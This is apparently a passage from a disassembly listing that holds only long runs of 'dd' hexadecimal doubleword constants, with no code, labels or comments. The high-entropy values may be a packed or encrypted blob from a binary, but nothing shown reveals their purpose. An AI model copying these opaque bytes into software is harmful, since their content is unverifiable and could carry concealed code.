		dd 0FF1B0910h, 0A8CBA035h, 8DB49CB3h, 849EC0DAh, 0FAF88B30h
		dd 99C069CCh, 1B6A0207h, 6682805h, 0C0AE5057h, 6726AFAh
		dd 22202DF3h, 149B8254h, 89100D28h, 2D531CB0h, 27784D06h
		dd 357AB7Ch, 0E41C75F2h, 998B8EE2h, 0FF887F34h,	0A3AE1208h
		dd 9E582ED2h, 0CAAC4DBFh, 6D14C860h, 3419F60Fh,	70B5F217h
		dd 1C324571h, 0C81C89F4h, 0AA55090Fh, 5EA7088Bh, 0DC7A8567h
		dd 8037E91Ah, 775014Ch,	0BBA01C68h, 98EB0C0Dh, 742A0218h
		dd 459C6709h, 0CCB40C19h, 0D6A66D85h, 58BB0959h, 10686B0Ah
		dd 90B88204h, 1349711Ah, 333CD0B5h, 34E6ADBh, 40C83A18h
		dd 885980FDh, 21051825h, 0F67549A5h, 64E6F421h,	68152862h
		dd 51499807h, 5E3CAB9Bh, 2388099Ch, 6216782Dh, 4D354CDFh
		dd 6539944Fh, 289D1026h, 0EC683589h, 342C074Dh,	2699795Ah
		dd 299ED3Ah, 2D2A24C3h,	1CED1B47h, 2468D118h, 522A1388h
		dd 94E4BE09h, 104EBE70h, 0E5702C44h, 0CB22857h,	0BE8211A4h
		dd 0B9EC4810h, 7EEB8382h, 0F52D34CDh, 21D24B9h,	59CC742Ch
		dd 344CFC2h, 7E264E9Ah,	1F204FB5h, 6ACBD6B8h, 49FB2924h
		dd 7426C0BCh, 930CFB41h, 20BDAB20h, 0C501006h, 0DAA83757h
		dd 2C80CD0Ah, 9EF9048h,	0D7EF33Bh, 0EB01C61Eh, 0FDFE83BDh
		dd 0ABB2574h, 521C4175h, 0FA924F85h, 4C77D68h, 3B0C8B66h
		dd 997C1BE0h, 0D8EE7BE9h, 7902EB24h, 0FF0919B1h, 8C107822h
		dd 0D808B456h, 0F37D2A02h, 403CFC91h, 54F0C7DBh, 9A8489D3h
		dd 99F0FBD3h, 1BA75C9Dh, 9AFCD111h, 4C433818h, 5C1B63B7h
		dd 3513FCC8h, 98291875h, 8E1C1E6h, 4478041h, 74956EB1h
		dd 656A27BDh, 0E224E56h, 2BCAA856h, 68411048h, 9C27CDC4h
		dd 0A117E024h, 2402AA24h, 0CC32B108h, 0C068BE50h, 0C4491145h
		dd 0D4BA3147h, 218934CAh, 41EDA853h, 2822744Eh,	541F2558h
		dd 204491A9h, 59072A89h, 173CD0F9h, 0EA750A7Ah,	282CB58Bh
		dd 0B1968132h, 9D39CE51h, 44183446h, 3CE168A5h,	0C2A089F8h
		dd 4CB9E00h, 1F6AEC4Dh,	8BDEE05Ah, 74AC20E7h, 38802603h
		dd 0A129752Dh, 0A3200258h, 70BE000Fh, 0C6198901h, 30A33584h
		dd 875624D5h, 0BC58279Fh, 4A000206h, 3B04E983h,	16CC7DD3h
		dd 82139D38h, 0C1637458h, 1621F8DBh, 2706120Eh,	80FCE035h
		dd 35F60A3Eh, 0DADEABB8h, 0D5C8F195h, 0C1462C02h, 10EC1715h
		dd 21A4FF3Ch, 54BC680Ch, 20EB28F2h, 0B47F567Fh,	25BF97B1h
		dd 404B9150h, 0C2088661h, 4F7AC3C6h, 3549A868h,	0D4064C1Eh
		dd 0BE282AE9h, 0F183904h
		dd 0B94BF85h, 52683A98h, 55D32198h, 0D0AF914h, 0B2408B6Ah
		dd 0A03494AEh, 837AF611h, 0C4902A23h, 348C32E1h, 1527752Ch
		dd 0B5395620h, 0D406CC7Ch, 80D448B9h, 68404D74h, 4A4EB49Fh
		dd 8CCB2129h, 847039EBh, 53328B8Dh, 3392E1B4h, 174CAA99h
		dd 0A9785668h, 0C78B0ADEh, 780F8EABh, 0DE0315F6h, 0BFCB8749h
		dd 41B20992h, 57147BC2h, 5C440A64h, 324E25Fh, 75C2F5F7h
		dd 46E494D9h, 0D51ADD70h, 4554024Bh, 3851822Ch,	83E1861Eh
		dd 4A97A511h, 0B1856885h, 30677466h, 0C28B7C2Fh, 9CEFB25Fh
		dd 527D86ACh, 881F1247h, 0C737EC1Eh, 0E6CD8468h, 52149096h
		dd 406885E2h, 1B0DE43Dh, 5196B12Ch, 5078BA95h, 0D06AA02Ch
		dd 1F956A51h, 0F8C9B843h, 0E3AAD232h, 188989D5h, 29A8D736h
		dd 0EAA16032h, 2E3D1E38h, 0A278E945h, 4050F093h, 988408F1h
		dd 402C4862h, 13A43AB8h, 8D216A29h, 0B090B90Bh,	6C7424A1h
		dd 7E5AC023h, 6C60219h,	0A84C4740h, 0DB9049B8h,	49095728h
		dd 8D51B4A0h, 154D7058h, 0E0AC7508h, 542C2E95h,	552C1DFCh
		dd 2852BB4Fh, 0F6A12B0h, 94D5A1D1h, 26B34462h, 7D8BA200h
		dd 38F63320h, 13742B1Fh, 0B0579093h, 28461474h,	0B060C781h
		dd 7C0316CBh, 588A09DDh, 0A7877944h, 0E1740841h, 0BBD8C828h
		dd 0AA9F88Bh, 0FDC3DE03h, 77A17EF3h, 0C16974C8h, 3307E632h
		dd 68014003h, 5A1E9230h, 10787156h, 55346DBAh, 69435C4Ah
		dd 0EB090E9Eh, 28430498h, 93F37468h, 0F8792022h, 1216B20Ah
		dd 3CFC34FFh, 96874DB1h, 68A061DEh, 8991271Ch, 80C31988h
		dd 4452EDA1h, 0C7D19309h, 411AEA87h, 38CCFC68h,	0CB87868Fh
		dd 0BA20542Ch, 61C2488h, 5B38E947h, 2485CCDCh, 6E1AD23Dh
		dd 82B8BC16h, 0C69251BEh, 273249C4h, 132C518Bh,	0C3806640h
		dd 348D0E29h, 0A3D4BE0Dh, 0BF3D0927h, 48CA19E8h, 79DC6850h
		dd 0C8624C26h, 0C5D0CC56h, 0F5A47534h, 4687B488h, 26841928h
		dd 0F23C565Ch, 4ED9A870h, 5A2C26F3h, 5C7C6499h,	6A8045C1h
		dd 0A4338904h, 54D8085Eh, 209F6A0h, 4435848Bh, 7BC55DAh
		dd 50C0B403h, 0A510E8EDh, 3B28C79h, 3553B4AFh, 0C2B82394h
		dd 4429025Eh, 2BD0CFAAh, 5E402795h, 4FA5EFBFh, 2E41B61h
		dd 9B9CC757h, 45222168h, 9817867Ch, 0BE80FCE8h,	389648BDh
		dd 88A1E620h, 60128B0Ch, 0B0F714E4h, 808AA827h,	0ECAC94E5h
		dd 8ECCFC3Ch, 0A908421Ch, 0C03F82Ah, 215024CCh,	0A2B9946Dh
		dd 53521684h, 1A6A1712h, 8191F59Dh, 0B3894B04h,	98806B14h
		dd 0BC656368h, 0F41545FFh, 8D508B8Ah, 0C95F691Fh, 12810962h
		dd 13EDC02h, 0E610E890h, 40468588h, 324F6A60h, 45EA0762h
		dd 7754270h, 5C347F5Eh,	0FF782F04h, 0E9AE8447h,	0CC4AF75Ah
		dd 5B78C048h, 5745316h,	0AAFCBC0Eh, 95CAEA0Ch, 22FB33CBh
		dd 23FF7B66h, 671E48B2h, 3354184Ah, 794DF4E3h, 1B2A79Dh
		dd 0F16EB5C2h, 2E70B84Ch, 0F78320F0h, 0B9F61BDEh, 0D82604C6h
		dd 8B06EB0Ah, 0BC27BB08h, 3FB8B19h, 576B0926h, 0C03C7468h
		dd 49FDFC32h, 807C808Dh, 2F742339h, 0B4A9A11Ch,	6020DED0h
		dd 0F0386091h, 6851500Ch, 0C3CC5826h, 3CFA78EDh, 0A68408E9h
		dd 0F40F97FFh, 734BB12Ah, 0C8A21E22h, 0FB52387Fh, 1074264Bh
		dd 0CF72C5CBh, 32276B9Dh, 31695948h, 0B9A2669Ch, 72893C59h
		dd 237994DEh, 3467CBB0h, 19DE73A8h, 441B6A25h, 0E01C89FBh
		dd 6727DF65h, 0D554A463h, 928F7B48h, 0EC11712Bh, 0D54CC4D6h
		dd 0D6426C6Ch, 1DD6F4A1h, 231359CFh, 32CB90E1h,	141BA26Ah
		dd 42F01840h, 0D54C84D6h, 68600437h, 0A1D642F0h, 0D5411674h
		dd 914D6FCh, 66B65DC5h,	58473EAEh, 118611D6h, 1DCAF4E1h
		dd 8D59013Bh, 0C08A0148h, 945D053Ah, 0F891833h,	0A9FA24A6h
		dd 0C8203FC7h, 8947C2F0h, 7579107Dh, 301970E4h,	152C14ECh
		dd 63B08ACCh, 92B91A75h, 2241A2F1h, 1291305Dh, 0BF332699h
		dd 94CC1D05h, 9E8E9DD0h, 5618201h, 0B572F28h, 9CABF327h
		dd 811532DBh, 9F48B830h, 3D503B47h, 0DF547C2Ch,	0F4C517ABh
		dd 5CF6CDC4h, 0FADC664Eh, 0D0C1784Eh, 0BA480D8Ah, 3140F369h
		dd 0A4024888h, 312C10Fh, 0A7A88F8Dh, 83FD10B7h,	510427C0h
		dd 354444B0h, 6465B05Dh, 78E20FF1h, 0ADF11434h,	0CAE484B8h
		dd 0B47B7829h, 14880BEDh, 8B427406h, 0ED394C5Ah, 878D3B0Ah
		dd 65B349B2h, 43F44599h, 330D64ADh, 5CFC70FFh, 6775D1F2h
		dd 7B441A50h, 0EBE96C67h, 7589425Ah, 49617934h,	6247452Bh
		dd 881A0C20h, 150D6E9Dh, 0CE181F3Dh, 6DC2284Dh,	47420414h
		dd 498FB803h, 44C83942h, 8B8810C5h, 11C4A7F8h, 2F19F8E0h
		dd 3B05078Bh, 409D2F13h, 5FA0EF60h, 0C70BB27Fh,	46FD3885h
		dd 911C92B7h, 0E5854919h, 505EF239h, 35D8F173h,	0C8B1872h
		dd 0DC68087Dh, 42AA57DDh, 0D4155745h, 0C761D612h, 115CCC68h
		dd 59349D53h, 5A849E32h, 818116C0h, 1CA69640h, 0C511DD11h
		dd 0B11B0BFh, 70F4B6BDh, 143A82F5h, 8018BB84h, 46A05D6h
		dd 45A7CCA4h, 0AC9106A9h, 1CA7D0D6h, 14A0BD80h,	9527C30h
		dd 7E390209h, 99036A16h, 0A51DA828h, 13AAED72h,	7E8421B1h
		dd 7F114E15h, 0C49F8848h, 0C3E814EBh, 0F1FA60C9h, 20148078h
		dd 42169588h, 6DBB5029h, 0D07D29F9h, 6A28099Dh,	0C2D0590Ch
		dd 5FA70AFh, 6506C025h,	691812FBh, 908F4AF5h, 6430F2F8h
		dd 0BFE224F9h, 83E64B8Eh, 0A79E574Ah, 934D5725h, 59280C21h
		dd 0FB7AA7BCh, 2F354A92h, 0AF218FA8h, 4D3B93B4h, 0E9758418h
		dd 0E3E38C8Bh, 3B898421h, 197204CBh, 830151A8h,	88903C1h
		dd 0D3F7388Bh, 95A0830Bh, 6C728815h, 5D789C44h,	1E9815A9h
		dd 0BC200910h, 231F42F4h, 323DC490h, 28433C8Ch,	4108F77h
		dd 0EFF080C8h, 7847841Eh, 7464D088h, 0E386BB78h, 918D211Eh
		dd 1978E264h, 65101E5Ch, 0F358881Dh, 3C4C32BCh,	44233B43h
		dd 383226C4h, 1C0B213Ch, 0F6E13411h, 8D24081Bh,	30254424h
		dd 37066AF4h, 54331C68h, 4CD3A308h, 15526E98h, 1A96A13Eh
		dd 0C953FC08h, 6481C815h, 530A69F0h, 0E0081923h, 4ED459C9h
		dd 0C4098829h, 87B838C4h, 0A86203C4h, 0E0A0431Ch, 44946825h
		dd 108788C9h, 42E6F978h, 582904B8h, 0C1874C38h,	840680Dh
		dd 2C108734h, 68210EF8h, 0E7141020h, 10087C38h,	9DC8F868h
		dd 882462E8h, 0DC474860h, 111476B8h, 2129CC68h,	145221BCh
		dd 12E829B0h, 10A46821h, 348CE298h, 415E0F74h, 9D2D9F50h
		dd 560C7DC5h, 47AD569h,	0A3FC7565h, 0A2572770h,	0B45648DFh
		dd 0AE1E8FCAh, 1742326Dh, 700434C2h, 0AC3F5074h, 815B9016h
		dd 910E5C1Eh, 0D0D8433Fh, 0CD0FAD3Fh, 0FA23F43h, 2105AB42h
		dd 243F3A3Ch, 1E20A013h, 0F53F1C53h, 211F7F3Dh,	34215336h
		dd 150AC741h, 3448924Ah, 7592B75Eh, 76C7A848h, 7FAB9187h
		dd 0E929D094h, 29439C0Fh, 61CA877Fh, 0BC29197Ah, 0F46C940Fh
		dd 2943238Ah, 42CC05A2h, 67C7A021h, 0D236BB90h,	15169721h
		dd 82A21588h, 211E7C19h, 0E2749155h, 3A8D1B40h,	681F047Dh
		dd 5048C760h, 294E4471h, 45082289h, 0E22C1029h,	0B0F1F20h
		dd 0C887068h, 90788573h, 1415429Ah, 0F715C6F8h,	27E86458h
		dd 13849A75h, 1591BBA9h, 442AE02Bh, 0B4CC3245h,	231A4315h
		dd 3205C4C4h, 0DA213CB8h, 0E2B01114h, 1EA419C5h, 0A0919121h
		dd 94197CE2h, 9145211Eh, 1930E290h, 0D3101E88h,	0C4E39D13h
		dd 3C7C32BEh, 78239543h
		dd 743280C4h, 2334433Ch, 371FC470h, 4175D018h, 847817C6h
		dd 4CB83714h, 7605E72Fh, 504A0F28h, 645E758Fh, 506AD2C4h
		dd 969766CCh, 891C4AB0h, 68F5548Eh, 8F7D967h, 1015AD1Ch
		dd 0F114C8C4h, 8F100C8Ch, 0CC87710h, 84106FF0h,	5A880847h
		dd 36C5FC62h, 0F8232943h, 0F03214C4h, 11CEFD3Ch, 0B0211EECh
		dd 70E2E491h, 211EE019h, 0E2D4915Bh, 0F7081D0Ch, 78CC440Eh
		dd 230D42C2h, 37ADC4C8h, 0C10F1A8h, 0FB088FBCh,	78B0440Ch
		dd 0AC4786C9h, 0A064B488h, 47868678h, 6471889Ch, 0BED7994h
		dd 108F8C08h, 49E3DDD3h, 0A4CED9Ch, 0BD336E8Dh,	0B2EDD8BAh
		dd 0E93E9E64h, 399D402Eh, 1A75F85Dh, 5042C094h,	5A9114C5h
		dd 3F65F8C9h, 89B13320h, 0A503EB0Ah, 0BB77C315h, 9CC1D440h
		dd 5712C548h, 40C7665Ch, 0D26A51D8h, 8146A36Dh,	11109F78h
		dd 477424C4h, 7C03FF09h, 89AA88B4h, 299FF8CBh, 81ADBC8Bh
		dd 7D89FB3Bh, 1DD04128h, 103542EBh, 0A93CA6E2h,	90163C20h
		dd 5729CAB4h, 75555915h, 0EC841C42h, 0E89C444h,	4CF1801Dh
		dd 59CE8A14h, 4462D735h, 0B709619Eh, 10149137h,	0E43D4486h
		dd 0A3EC446h, 15B4E022h, 0D4232943h, 1109FDC2h,	867B1ECCh
		dd 9B211EF5h, 86E2B891h, 211EAC19h, 0E2A89137h,	1E981922h
		dd 8807D210h, 0DBDF190h, 1C213CDEh, 0E27C1106h,	1E701907h
		dd 9C04B810h, 32A3C463h, 7524345Ch, 44E47A55h, 4C743525h
		dd 1C305972h, 7ED27093h, 825F7AAAh, 10C45C88h, 56AA8435h
		dd 0D099EC7Eh, 7B5A40CCh, 2B42213Dh, 0C44153Ch,	0D2343032h
		dd 170DB7F0h, 3BA6C3FCh, 0F0829893h, 74C5C343h,	0C36ED215h
		dd 0AA76E834h, 12AF33B3h, 0F9F01490h, 0B343D80Ch, 878C9D60h
		dd 85368991h, 64182F10h, 329812FCh, 549C04F8h, 1492692Bh
		dd 0AC02E086h, 70399D34h, 94100F26h, 0D410A3F0h, 1A72C131h
		dd 0E8F09410h, 10F042A0h, 88E84B70h, 0A00CC347h, 895C19DAh
		dd 3A085D05h, 0A14BAC3h, 0E7D71521h, 0CA3AA2h, 0C1830845h
		dd 3619380Bh, 2832F675h, 558910E7h, 0B6A2520h, 8B8487D1h
		dd 45AEB8C8h, 0C7F799CEh, 0B5D0B717h, 7346AC20h, 8A3BD13Ch
		dd 0CC51337Eh, 94BB4CE6h, 20115578h, 6722A1Eh, 2DF8D08Dh
		dd 301D393Bh, 85C7FA17h, 641BC9CCh, 0B8143E2Ch,	0D140589h
		dd 1115BCFCh, 744174A1h, 27A0BE45h, 0F673788Dh,	57D84609h
		dd 52941C50h, 0C600AF0Ch, 751E3940h, 1A68EBE6h,	0C81A964Eh
		dd 0C158016Eh, 0D5FB06E1h, 8DCD331Fh, 13471FB4h, 8408B16Fh
		dd 0F0A50205h, 9B2C54CBh, 83C9955Eh, 0B58911FCh, 12AA9BFEh
		dd 0AC781598h, 0E18A2E75h, 5674C02Fh, 1BD807F6h, 0F2566C0h
		dd 0A6D60589h, 0F8852185h, 691A1A8h, 0BA601504h, 0A065E44Ch
		dd 0AF01F746h, 38C033D0h, 6A35409Dh, 957B0F30h,	8B294071h
		dd 254A1DF0h, 3B80C224h, 2F5D88F3h, 81224E7Eh, 0C1C61ED0h
		dd 0A11D4978h, 0FE051F58h, 1802F45h, 0EC4DBE0Fh, 7CCE133Bh
		dd 2E3655DEh, 3E38649Eh, 9D2D7D26h, 4E5C26B0h, 8452F7C8h
		dd 148E01Fh, 10D8B542h,	0DD2DCBDh, 0DA133E35h, 5B5043B4h
		dd 20C4CA91h, 1B742A14h, 3084C411h, 4E9EDBF8h, 8806E390h
		dd 1B30489Dh, 0B80952D0h, 40E4C344h, 820F3868h,	7176CC14h
		dd 1891A045h, 0B80C64BCh, 5125B432h, 0CCC428A9h, 0B212AC2h
		dd 0C0042C44h, 46A028F8h, 23A651F7h, 0F8C0C4B8h, 6212202Bh
		dd 25752DE4h, 0EE91B465h, 2F99F7D3h, 2717E7C2h,	1A534850h
		dd 33562E78h, 835926FCh, 0C90B123Eh, 641A6A87h,	16DC662Dh
		dd 30C25868h, 6A225E07h, 67DC055Ah, 680A157Eh, 8B841638h
		dd 5060B384h, 502718B2h, 8BDA71BFh, 0A3E2D2ACh,	14533F9Ch
		dd 0DC53C917h, 0AC8B65DCh, 51F0D4FBh, 84C83A4Bh, 57BC9256h
		dd 0A11237D3h, 2B55F978h, 0DF24AE7Fh, 0AEB3D496h, 68B89D1Eh
		dd 93A86C0Fh, 6BF9C05Eh, 8018AB68h, 798ED540h, 0AC218444h
		dd 1926DD2h, 22046843h,	0F405B289h, 0D4B4701Bh,	0D2A80885h
		dd 34219762h, 413A3ED6h, 92D54810h, 413A9B16h, 0C4C1C810h
		dd 84E2867Eh, 4EEFE893h, 9ED8BDDh, 0EBF00B49h, 7CA11205h
		dd 1112D90h, 4C93487h, 880427C8h, 21F3940Fh, 48269122h
		dd 49117413h, 3756C89Ch, 0EB8268C9h, 0C22C52Bh,	0FED627B6h
		dd 48F34E10h, 388F914Fh, 608D3BFBh, 39EF1C04h, 6E78A72Ch
		dd 0BC800CC8h, 5C1B2F05h, 17755929h, 9C88E6EFh,	0A6A7BB31h
		dd 480C1257h, 3E26C508h, 3CA5A41Dh, 71F858B0h, 0B311FC25h
		dd 24985444h, 405EC343h, 425F1949h, 0AAB44BBEh,	5906269Ah
		dd 0C18C508Eh, 3517691h, 2120200Ah, 0A442C93Ch,	0FAD618C5h
		dd 3EDA4043h, 5042FF47h, 0C3A61DC9h, 49A7C117h,	0A9E40CC9h
		dd 49458F22h, 61108C57h, 8022AAA3h, 0E7D89680h,	4CDA4282h
		dd 75C325A3h, 98621B51h, 406A02E6h, 9BB7094Eh, 0C6C94867h
		dd 235552D6h, 454AD8C6h, 4063EAF1h, 151828D9h, 48953BA9h
		dd 4B6514E5h, 9E7ECA1h,	66C25F05h, 8430A814h, 0E81D584Ah
		dd 425651A4h, 1E09B214h, 42E7DC21h, 4E19E614h, 690F41E1h
		dd 8C71D3Eh, 0D043E7F0h, 5C78B7FEh, 82C0D821h, 0B48B372Dh
		dd 8D8F331h, 0EB258656h, 21EF9907h, 90B7216Fh, 91882E57h
		dd 4364BBFCh, 75011AADh, 0F0A17633h, 0E1A84CB8h, 0D0FF2573h
		dd 68076B01h, 0EBA78EB4h, 788EA0Ch, 5C91051Fh, 63E32A4Bh
		dd 15FB5B71h, 32289985h, 0DA1D3821h, 0D38B0CD0h, 0F48854C5h
		dd 1A835EBFh, 23778917h, 0CA02EF7Dh, 3F3218BFh,	0CB0A6A2Eh
		dd 0ACB6115Bh, 2B2129BFh, 89910162h, 2F997EDBh,	8468CFC0h
		dd 3BA2BF53h, 0E558CD64h, 3A4F00B2h, 87E9D88Ch,	0F838C9D1h
		dd 95221D3Eh, 60322FC5h, 1D344FB2h, 0CF5F0110h,	20F983CEh
		dd 0BB946A15h, 4BB929FFh, 91E44A86h, 38899309h,	0FBBBE5CEh
		dd 5180471Fh, 0C73B04A2h, 88830973h, 5570FDD1h,	9D1310B7h
		dd 623D99D8h, 7979BF4Ch, 2E4D9754h, 0C6882497h,	3227486Ah
		dd 53C625B2h, 46DED335h, 152C8332h, 57C63B1h, 3CC4EE69h
		dd 0C1472AF4h, 3816AA48h, 0C4F298F4h, 4A330DF3h, 5DC81C64h
		dd 0DC09D8Ch, 561B0574h, 0B3BF2468h, 7FECD287h,	47F44676h
		dd 520821D0h, 0E4F4AA09h, 0BC982253h, 381E0D9Bh, 9EA3BBA1h
		dd 1DF4BC42h, 44F4CC08h, 724B3A3Bh, 6171BED2h, 2F89EFC8h
		dd 7C939CBEh, 0E4E985B4h, 0BA6C2D34h, 77B1957Bh, 0D93FA678h
		dd 68874ED1h, 9F09554Bh, 15D0098Fh, 0AB9C18BAh,	2BA72DEBh
		dd 822406B2h, 0A843A22Eh, 84F12F83h, 18BF7215h,	6C7D451Ah
		dd 6695D838h, 0A00F7E66h, 1288F4BBh, 4BEA689Dh,	0E21C346Fh
		dd 0CD56292Fh, 121A12FBh, 0DAD7B83Ah, 0C41F7B50h, 17E98A10h
		dd 0D78EE9E8h, 71E9E484h, 0F01CEAECh, 2DDC2EF3h, 0BE6C2468h
		dd 254354BDh, 0A1EA90DEh, 4B0CE9E4h, 0E8845E46h, 0F4103AEAh
		dd 0DC3584EAh, 3468092Fh, 0CAF476BEh, 0C04CF80Ch, 321C6824h
		dd 1C191071h, 0F34DA4D7h, 47A0ACC0h, 642C23F3h,	9315430h
		dd 76BE1868h, 0E0F7E5F0h, 40725921h, 892834C8h,	0DC8F06EBh
		dd 10025711h, 28A8BDF8h, 0F4248887h, 86F3A050h,	40B42510h
		dd 0EF424F1h, 21F43484h, 933C27DDh, 0BD43BCBCh,	0E8918016h
		dd 4E0A9BDFh, 0E204CB1Fh, 1F5C2020h, 6AB735FFh,	3152CE37h
		dd 0EB7F7868h, 8B3533BFh, 936F5427h, 223A7831h,	95BD6C80h
		dd 0EB0A33B4h, 125C680Fh, 6AED405Ah, 0FB9C1FEh,	4B446877h
		dd 287D7D16h, 5699191h
		dd 8CB2C849h, 1068780Ah, 0BCF87022h, 853F3187h,	0E15F29ADh
		dd 38119EAAh, 21165EF0h, 0DDA9D049h, 640E6487h,	2781F0BDh
		dd 13BCE868h, 6274ACD8h, 10E22418h, 0A490180Eh,	0CBF763E7h
		dd 7089EF47h, 143B19FAh, 60313B3Ch, 78106A17h, 5417B239h
		dd 39766D2Ch, 0DCEB857Fh, 2412A884h, 0A5CA7453h, 497C8265h
		dd 0A49BF812h, 118B1C76h, 7DF9E05Eh, 0FDCB534h,	0D3644E66h
		dd 844A8AD4h, 2F2ABC94h, 21111C19h, 0DC42FA74h,	1BCE18F9h
		dd 0FA74088Dh, 0FA842174h, 1DD8B50Bh, 0BC580880h, 4B331CE9h
		dd 66C13215h, 0CD51234Ah, 0E4238F49h, 249484A1h, 253CE52Dh
		dd 2B8F6628h, 47E9F684h, 447E894h, 0F1B6E68h, 0F690BDB1h
		dd 0B70FEFB8h, 19EA2DAAh, 2C42F13Eh, 0E96E57A2h, 0D4E7564Ch
		dd 1406A206h, 42883040h, 433D9CF6h, 40EF1C08h, 87F68878h
		dd 10F69842h, 4287D7AFh, 0FE3ABBECh, 1774F07Ah,	0AC764795h
		dd 0F5203E26h, 7ECFF494h, 50952CE3h, 6C94F4D4h,	3239555Ch
		dd 0DCD6122Bh, 0DFF5C57h, 1A601291h, 54EFE0B8h,	0FD41AB8h
		dd 4BD1840Fh, 228956DAh, 5421049Eh, 0F4D042F5h,	8DA36618h
		dd 74F55408h, 0BF56421h, 829D3A1Ah, 84FE7C15h, 84A7CF72h
		dd 98FB9B85h, 444886C7h, 1E2342A5h, 0AC96F574h,	0F906BE8h
		dd 0CEEF5B84h, 2C552336h, 3F7C8060h, 7D03F883h,	558B3A0Eh
		dd 0C1C86020h, 0E3807E1h, 348D111Ch, 0FF1F7464h, 24ECED13h
		dd 1E6288E8h, 82AD7195h, 18BAF087h, 16C8867Eh, 927752C4h
		dd 6E957772h, 0E2CAC33Ch, 327BA73Eh, 420DC7EDh,	822B8E2Fh
		dd 64EA7984h, 0F4E2B598h, 6805F25Bh, 6AA8BAC0h,	397D75F0h
		dd 745A10B5h, 6068160Fh, 4605BDEBh, 973A1790h, 58580C09h
		dd 0D4669F0Fh, 6DB51877h, 0CE172136h, 145DC8F3h, 0F6C7260h
		dd 0A31E85B6h, 1D112311h, 84281C94h, 7B14F1DCh,	997BBA2Dh
		dd 542C1448h, 7957900Dh, 0EA8A8D6Bh, 487BF1D8h,	894D1C89h
		dd 90B85581h, 4905C759h, 7B7D229Ch, 0BAEC84B7h,	11A960A8h
		dd 6B9D24AAh, 0D48A535Ah, 0A4EFD153h, 0BE968665h, 0EC18AE61h
		dd 1C2A8B37h, 80C4009h,	0C2735E8Ah, 13FDEB88h, 0EC10C170h
		dd 2C5FE636h, 0EB530839h, 47562525h, 0EAF8084Eh, 1C115712h
		dd 0EF28B512h, 0D3B95CE4h, 9C9F08A8h, 0EC142225h, 15AC36B0h
		dd 0D2483782h, 4043BB65h, 3AEC14C4h, 84EC2010h,	123A3617h
		dd 0FE29B9A4h, 0EC940653h, 0EC208468h, 90178149h, 91D5231Eh
		dd 397AE280h, 63231E78h, 42B77091h, 0C22B0B93h,	0B8F0391Ch
		dd 2158116Bh, 8E4FA896h, 5C392075h, 4E748035h, 9CF7E26Fh
		dd 1ABD5053h, 78A20E90h, 0B5066E30h, 23214065h,	3CA01CA1h
		dd 0B93C6813h, 0F978383Dh, 388740AAh, 751DA8ADh, 52848B4Ah
		dd 4EFF84AFh, 55A427BEh, 74503134h, 0AD496A3Bh,	1AFFF3B8h
		dd 0F1A7990h, 5B808A16h, 0B94F2468h, 6BB18AF2h,	206A522Fh
		dd 0B50C421Fh, 15FEFF36h, 8B80C91h, 0B710D087h,	85FFBF8Dh
		dd 35B8F862h, 77B8F088h, 0DBB00888h, 4656F8FFh,	36DCE2E4h
		dd 0F0CA2C4Bh, 28217416h, 3DA7D44Dh, 0CC081064h, 0B8C49155h
		dd 31908DB8h, 0D34126E2h, 672C2A76h, 0C4BCADACh, 21666CA4h
		dd 748B9C39h, 0BD11345Dh, 99079BC6h, 0F423FB9h,	10F9F703h
		dd 24E84886h, 9C511852h, 992450Bh, 0A4163C1Ch, 8823B96Eh
		dd 0BE838F49h, 987B86A0h, 0D5F6EFA7h, 3FA50494h, 28201A52h
		dd 0ECC832ECh, 95C58EDCh, 52F9FD90h, 85EAECBDh,	3B19D267h
		dd 75451A84h, 7B902327h, 47271AFDh, 84C8E367h, 50B1D76Fh
		dd 8338575Eh, 7A74C442h, 528AD29Bh, 7FA1DD0Eh, 5C590A24h
		dd 24C8984Fh, 0F3E25411h, 0FFAC1629h, 1FA6E4E5h, 18C4FC2Ah
		dd 6E62FB44h, 147B85DFh, 678A0F34h, 14AD71A4h, 0D0502305h
		dd 9F59E24Ah, 0E8F44748h, 8450A7FFh, 348CB846h,	0E752F440h
		dd 0C27EDF45h, 4D9348ECh, 1E0BE0C7h, 8DD3703Ch,	7C0F2451h
		dd 14BDB943h, 0F962A23Ah, 3AB44133h, 21F5D040h,	3088F540h
		dd 2 dup(3008FFB8h), 2847D6B8h,	0F7500C8Fh, 7023D558h
		dd 2F3E1416h, 0FCA16291h, 0F23B5BB7h, 577A1DE4h, 69B7FD04h
		dd 21261BD1h, 0AEB10E8Fh, 0D1116B92h, 47D0F840h, 5126F9B7h
		dd 3CB744F7h, 2C335A75h, 0EE9E2814h, 8DB7ACF0h,	0F3ED726Eh
		dd 0A39B1h, 172045C7h, 0C74D4A5Ch, 788370A7h, 753C01FCh
		dd 0F402DE0Dh, 0D4500776h, 2C8166AAh, 61D105Fh,	7CCD7DDDh
		dd 0DAD148B1h, 3F6236Bh, 0E6C86D4Fh, 0F5B74284h, 425106E0h
		dd 0B854119Bh, 183D86B1h, 0CAB74680h, 0DC62176Fh, 354736B8h
		dd 442E7C2Bh, 3CCC721Eh, 113CEB23h, 99D4E278h, 231E7417h
		dd 0D95BA783h, 17376CC5h, 92D02E1Ah, 6FB78C3Bh,	177B141Dh
		dd 0D02E60CAh, 568C3AB9h, 0A288175Ch, 3DE2F1EFh, 231E4839h
		dd 0E1409126h, 3C1839FAh, 0C8E3118Fh, 1CA2F134h, 8B118F30h
		dd 6C9794C4h, 2C568E5Bh, 0E544882Eh, 0C5176828h, 24233846h
		dd 1872AEC4h, 236B473Ch, 7254C414h, 0E2233C0Ch,	0E2081137h
		dd 78843BCBh, 0FC238E7Ch, 776564B6h, 716CBAC4h,	0F82B3646h
		dd 325A452Eh, 473CF017h, 0C4EC2325h, 3CE4720Eh,	11350723h
		dd 34F0E1E0h, 118FD818h, 0F1D0C893h, 8FCC1C7Ch,	0C8C80E11h
		dd 8C33F7F0h, 6988BC47h, 5278B8E4h, 0D6B0468Eh,	0E9F80412h
		dd 0D115AC8Ah, 6A02C2ECh, 0EB9C5720h, 42B68C21h, 0B7D40C45h
		dd 0DC2FA451h, 0F1432CAEh, 82F9C95Ah, 0BE1C7517h, 25B05E58h
		dd 0F12F63D1h, 8B06C2F7h, 5669667Eh, 0EDF01254h, 0E6D8F560h
		dd 0DFB64B5Ch, 0E7202DB9h, 0F128080Ah, 18D6A451h, 41432B61h
		dd 3BF128C4h, 6108F121h, 20567425h, 867E12D6h, 318C1A8Ah
		dd 2915361h, 0F2B5A589h, 0B7E3363h, 75D4E45Ch, 0EA45A1Eh
		dd 0B06F50EAh, 0E22121BFh, 8817B590h, 0C0E4F138h, 0D085C438h
